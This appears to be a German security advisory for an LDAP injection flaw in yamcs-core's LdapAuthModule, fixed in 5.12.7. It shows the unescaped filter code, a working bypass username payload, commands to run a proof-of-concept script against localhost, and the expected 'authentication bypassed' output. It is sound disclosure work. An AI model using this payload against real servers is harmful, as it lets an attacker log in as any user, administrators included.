
In org.yamcs.security.LdapAuthModule besteht eine LDAP-Injection-Schwachstelle. Der Benutzername-Parameter wird ohne RFC-4515-Escaping direkt in LDAP-Suchfilter eingefügt, was eine Umgehung der Authentifizierung ermöglicht.
| Feld | Wert |
|---|
| CVE | CVE-2026-42568 |
| Schweregrad | MITTEL |
| CWE | CWE-90: Unzureichende Neutralisierung spezieller Elemente in einer LDAP-Abfrage |
| Betroffen | yamcs-core < 5.12.7 (mit konfigurierter LDAP-Authentifizierung) |
| Behoben in | yamcs-core 5.12.7 |
| Advisory | GHSA-cqh3-jg8p-336j |
Ursache (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
Mit einem typischen userFilter von (uid={0}) bricht ein bösartiger Benutzername die Filterstruktur auf:
Input: *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed
pip install requests
python3 poc.py http://localhost:8090
Erwartete Ausgabe auf einer verwundbaren Instanz (mit konfiguriertem LDAP):
[1] Universal bypass (any account)
Username: *)(uid=*))(|(uid=*
Password: anything
Result: HTTP 200
[!!!] AUTHENTICATION BYPASSED
[!!!] Token received: eyJhbGciOiJSUzI1NiJ9...
Hinweis: Diese Schwachstelle betrifft nur YAMCS-Instanzen, bei denen
LdapAuthModulekonfiguriert ist. Standardinstallationen mit integrierter Authentifizierung sind nicht betroffen.
Ein nicht authentifizierter Angreifer, der den YAMCS-Server erreichen kann, kann bei konfigurierter LDAP-Authentifizierung die Authentifizierung vollständig umgehen und sich Zugang als beliebiger Benutzer verschaffen, einschließlich Administratoren.
Upgrade auf yamcs-core >= 5.12.7.
Der Fix wendet RFC-4515-Escaping auf den Benutzernamen an, bevor der LDAP-Filter erstellt wird.
| Datum | Ereignis |
|---|---|
| 2026-05 | Schwachstelle gemeldet |
| 2026-05-26 | Fix in yamcs-core 5.12.7 veröffentlicht |
| 2026-05-26 | Öffentliches Advisory veröffentlicht |
Daniel Miranda Barcelona (Excal1bur)